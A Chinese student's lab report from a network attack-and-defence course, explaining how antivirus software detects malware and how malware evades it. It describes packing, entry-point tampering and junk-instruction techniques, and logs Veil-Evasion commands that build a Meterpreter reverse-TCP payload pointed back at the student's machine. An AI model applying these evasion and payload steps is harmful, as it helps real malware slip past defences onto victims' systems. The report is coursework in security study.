首页 > 代码库 > 20169217 2016-2017-2 《网络攻防实践》免杀技术学习总结

20169217 2016-2017-2 《网络攻防实践》免杀技术学习总结

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

  恶意代码与其检测是一个猫捉老鼠的游戏,单从检测的角度来说。反恶意代码的脚步总是落后于恶意代码的发展,是被动的.目前基于主机的恶意代码检测方法主要有反恶意代码软件、完整性校验法以及手动检测,基于网络的检测方法主要有基于神经网络”、基于模糊识别“等方法,本文主要讨论基于主机的检测。

 恶意代码分析方法

 静态分析方法

  是指在不执行二进制程序的条件下进行分析,如反汇编分析,源代码分析,二进制统计分析,反编译等,属于逆向工程分析方法。

 (1)静态反汇编分析,是指分析人员借助调试器来对而已代码样本进行反汇编出来的程序清单上根据汇编指令码和提示信息着手分析。

 (2)静态源代码分析,在拥有二进制程序的源代码的前提下,通过分析源代码来理解程序的功能、流程、逻辑判定以及程序的企图等。

 (3)反编译分析,是指经过优化的机器代码恢复到源代码形式,再对源代码进行程序执行流程的分析。

 动态分析方法

  是指恶意代码执行的情况下利用程序调试工具对恶意代码实施跟踪和观察,确定恶意代码的工作过程对静态分析结果进行验证。

(1)系统调用行为分析方法

  正常行为分析常被应用于异常检测之中,是指对程序的正常行为轮廓进行分析和表示,为程序建立一个安全行为库,当被监测程序的实际行为与其安全行为库中的正常行为不一致或存在一定差异时,即认为该程序中有一个异常行为,存在潜在的恶意性。

恶意行为分析则常被误用检测所采用,是通过对恶意程序的危害行为或攻击行为进行分析,从中抽取程序的恶意行为特征,以此来表示程序的恶意性。

(2)启发式扫描技术

  启发式扫描技术是为了弥补被广泛应用的特征码扫面技术的局限性而提出来的.其中启发式是指“自我发现能力或运用某种方式或方法去判定事物的知识和技能”。

 恶意代码检测方法

 基于主机的恶意代码检测

  目前基于主机的恶意代码检测技术仍然被许多的反病毒软件、恶意代码查杀软件所采用。

(1)启发法

  这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码.这种方法主要的技术是要准确的定义类似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。

(2)行为法

  利用病毒的特有行为特征来监测病毒的方法,称为行为监测法.通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊.当程序运行时,监视其行为,如果发现了病毒行为,立即报警.缺点是误报率比较高、不能识别病毒名称及类型、实现时有一定难度。

(3)完整性控制

  计算保留特征码,在遇到可以操作时进行比较,根据比较结果作出判断。

(4)权限控制

  通过权限控制来防御恶意代码的技术比较典型的有:沙箱技术和安全操作系统。

(5)虚拟机检测

  虚拟机检测是一种新的恶意代码检测手段,主要针对使用代码变形技术的恶意代码,现在己经在商用反恶意软件上得到了广泛的应用。

 基于网络的恶意代码检测

  采用数据挖掘和异常检测技术对海量数据进行求精和关联分析以检测恶意代码是否具有恶意行为。

(1)异常检测

  通过异常检查可发现网络内主机可能感染恶意代码以及感染恶意代码的严重程序,然后

采取控制措施。

(2)误用检测

  也称基于特征的检测基于特征的检测首先要建立特征规则库,对一个数据包或数据流里德数据进行分析,然后与验证特征库中的特征码来校验。

(2)免杀是做什么?

  免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
单从汉语“免杀”的字面意思来理解,可以将其看为一种能使病毒木马避免被杀毒软件查杀的技术。但是不得不客观地说,免杀技术的涉猎面非常广,您可以由此轻松转型为反汇编、逆向工程甚至系统漏洞的发掘等其他顶级黑客技术,由此可见免杀并不简单。

(3)免杀的基本方法有哪些?
加冷门壳
  举例来说,如果说程序是一张烙饼,那壳就是包装袋,可以让你发现不了包装袋里的东西是什么。比较常见的壳一般容易被杀毒软件识别,所以加壳有时候会使用到生僻壳,就是不常用的壳。去买口香糖你会发现至少有两层包装,所以壳也可以加多重壳,让杀毒软件看不懂。如果你看到一个袋子上面写着干燥剂、有毒之类的字你也许就不会对他感兴趣了吧,这就是伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测。
加壳改壳
  加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的,但这种技术只有熟悉汇编语言的人才会,这种免杀方法高效可以一口气过众杀软也是免杀爱好者应该学会的一种技术。
加花指令
  加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。加花以后,一些杀毒软件就检测不出来了,但是有些比较强的杀毒软件,病毒还是会被杀的。这可以算是“免杀”技术中最初级的阶段。
改程序入口点

2.实践总结与体会

 我以前认为有了防火墙和各种杀毒软件可以保护好我们的计算机安全,现在想想自己的电脑还存在很多安全隐患。其实制作一个病毒并不想我们想象的那么复杂,这些实验不光教给我们如何做免杀,也发现了计算机很多安全漏洞。

3.离实战还缺些什么技术或步骤?
   我做的病毒并没有绕过杀毒软件的监控,所以还需要进行更多次的加壳和伪装。

4.实践过程记录

   Veil-Evasion

    老师给的kali机中带有这个软件,可以直接在命令行中输入veil-evasion打开
    在菜单中依次输入以下命令:
    use python/meterpreter/rev_tcp
    set LHOST + 本机ip地址
    generate
    之后输入生成的文件名称,选择1

技术分享

 

扫描有9个引擎报毒

 

技术分享

只可惜做出的病毒还是被查杀到了

技术分享

 

20169217 2016-2017-2 《网络攻防实践》免杀技术学习总结